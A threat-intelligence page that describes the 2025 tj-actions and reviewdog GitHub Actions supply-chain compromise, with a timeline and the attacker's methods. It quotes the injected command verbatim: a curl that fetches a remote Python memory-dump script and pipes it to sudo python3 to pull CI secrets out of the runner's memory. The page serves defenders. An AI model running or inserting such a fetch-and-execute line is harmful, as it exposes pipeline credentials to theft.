GitHub Actions Supply Chain Attack: tj-actions & reviewdog Compromise (CVE-2025-30066, CVE-2025-30154) — Threadlinqs Intelligence
As of 2026-08-24, GitHub Actions Supply Chain Attack: tj-actions & reviewdog Compromise (CVE-2025-30066, CVE-2025-30154) is a critical-severity supply chain threat, tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 23 indicators of compromise.
Threat ID: TL-2026-2130 · Severity: CRITICAL · CVSS: 8.6 · Status: PATCHED · Category: SUPPLY_CHAIN
A months-long GitHub Actions supply-chain compromise leaked a maintainer PAT from spotbugs/sonar-findbugs via a poisoned-pipeline-execution PR, used it to hijack reviewdog/action-setup and several
This campaign is a chained GitHub Actions supply-chain compromise tracked as CVE-2025-30066 (tj-actions/changed-files) and CVE-2025-30154 (reviewdog/action-setup and its dependents), both rated CVSS 3.1 8.6 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) under CWE-506 (Embedded Malicious Code), and both added to the CISA Known Exploited Vulnerabilities catalog.
Root cause and initial access: on 2024-11-28 a spotbugs/sonar-findbugs maintainer (SPTBGS_MNTNR) added a personal access token (PAT) to a repository workflow. On 2024-12-06 an attacker submitted malicious pull request #1116 that abused the `pull_request_target` trigger (a well-known GitHub Actions poisoned-pipeline-execution, PPE, class of bug) by modifying the `mvnw` wrapper file in a fork; when CI executed it, the maintainer's PAT was exfiltrated via a workflow artifact encrypted with an attacker-controlled RSA key so only the attacker could decrypt it.
Lateral movement to reviewdog: on 2025-03-11 at 10:50 UTC the attacker used the stolen PAT to invite a disposable account, jurkaofavak, to spotbugs/spotbugs with write access. Two minutes later that account pushed a short-lived branch (hewrkbwkyk) that encrypted and exfiltrated repository secrets the same way, this time capturing the reviewdog maintainer's (RD_MNTNR) PAT, which had access to both spotbugs/spotbugs and reviewdog/action-setup. Starting 17:06 UTC the attacker (via disposable fork account iLrmKCu86tjwp8) pushed 13 malicious commits to a reviewdog/action-setup fork and 15 to a reviewdog/action-typos fork, then repointed the reviewdog/action-setup v1 tag to a malicious commit at 18:42-20:31 UTC. Because tag updates are not recorded in GitHub audit logs on free-tier repos and fork commits appear as "dangling" references, this stayed largely invisible.
Escalation to tj-actions and Coinbase targeting: tj-actions/eslint-changed-files depends on reviewdog/action-setup@v1, so its own CI runs then executed the malicious code and leaked a GitHub token with write access to tj-actions/changed-files. Two more disposable accounts appeared: 2ft2dKo28UazTZ (2025-03-12 15:28 UTC) forked Coinbase's onchainkit, agentkit, and x402 repos and experimented with tj-actions/changed-files tag v39, the exact tag referenced by coinbase/agentkit's changelog.yml workflow; mmvojwip (2025-03-13 20:36 UTC) created further coinbase/agentkit forks and repointed workflow references to a dangling commit disguised as github-actions[bot]. On 2025-03-14 at 15:10 UTC the attacker obtained a token with write access to coinbase/agentkit and triggered the targeted payload; Coinbase's maintainer deleted the vulnerable changelog.yml workflow at 16:37 UTC, roughly 87 minutes later, and Coinbase confirmed no assets were impacted.
Broad campaign: at 16:57 UTC that same day, roughly two hours after the Coinbase attempt, the attacker overrode every git tag on tj-actions/changed-files (v1 through v45.0.7) to point at malicious commit 0e58ed8671d6b60d0890c21b07f8835ace038e67, disguised to look like a renovate[bot] contribution. The injected code ran `curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`, a script that scans `/proc/[pid]/cmdline` to find the Runner.Worker process, reads `/proc/[pid]/mem`, extracts JSON objects flagged `"isSecret":true`, and prints them as double-base64-encoded strings directly into the (often public) workflow log. StepSecurity's Harden-Runner flagged the anomalous outbound connection to gist.githubusercontent.com the same evening; GitHub took the tj-actions/changed-files repository down around 10:30 UTC on 2025-03-15, deleted the exfiltration gist, and restored the repo with the malicious code removed by 22:00 UTC, shipping patched release v46.0.1. Although the action was used by 23,000+ repositories, deeper analysis found only about 218 public repositories actually leaked secrets in their logs. Attribution is unresolved: the attacker cleaned up by getting GitHub t
Target sectors: technology, finance, cryptocurrency, software-development, open-source
Target regions: Global
Timeline
- spotbugs/sonar-findbugs maintainer (SPTBGS_MNTNR) adds a personal access token to a repository workflow, later leaked.
- Attacker submits malicious PR #1116 to spotbugs/sonar-findbugs abusing the pull_request_target trigger (poisoned pipeline execution) to exfiltrate the maintainer's PAT.
- Disposable account jurkaofavak is invited to spotbugs/spotbugs with write access at 10:50 UTC and pushes a short-lived branch that exfiltrates the reviewdog maintainer's (RD_MNTNR) PAT.
- Between 17:06 and 20:31 UTC the attacker pushes 13 malicious commits to a reviewdog/action-setup fork and 15 to reviewdog/action-typos, then repoints the action-setup v1 tag to the malicious commit (CVE-2025-30154 compromise window).
- Disposable account 2ft2dKo28UazTZ forks Coinbase's onchainkit, agentkit, and x402 repos and begins testing against tj-actions/changed-files tag v39.
- Disposable account mmvojwip creates additional coinbase/agentkit forks and repoints workflow references to a dangling commit disguised as github-actions[bot].
- At 15:10 UTC the attacker obtains a write-access token to coinbase/agentkit and triggers the malicious payload in a targeted strike.
- Coinbase maintainer deletes the vulnerable changelog.yml workflow at 16:37 UTC, roughly 87 minutes after exposure; Coinbase later confirms no asset impact.
- At 16:57 UTC the attacker overrides all tj-actions/changed-files tags (v1-v45.0.7) to point at malicious commit 0e58ed8671d6b60d0890c21b07f8835ace038e67, disguised as a renovate[bot] contribution (CVE-2025-30066 begins).
- StepSecurity's Harden-Runner detects an anomalous outbound connection to gist.githubusercontent.com and confirms the tj-actions/changed-files compromise.
- GitHub takes down the tj-actions/changed-files repository around 10:30 UTC; the exfiltration gist is deleted.
- tj-actions/changed-files is restored with the malicious code removed by 22:00 UTC and patched release v46.0.1 ships.
Detections & IOCs
As of 2026-09-06, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 23 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
SUPPLY_CHAIN, CRITICAL, threat intelligence, cybersecurity, CVE-2025-30066, CVE-2025-30154, T1190, T1195.001, T1199, T1059.006, T1136.003, T1036, T1003.007, T1057, T1550.001, T1005
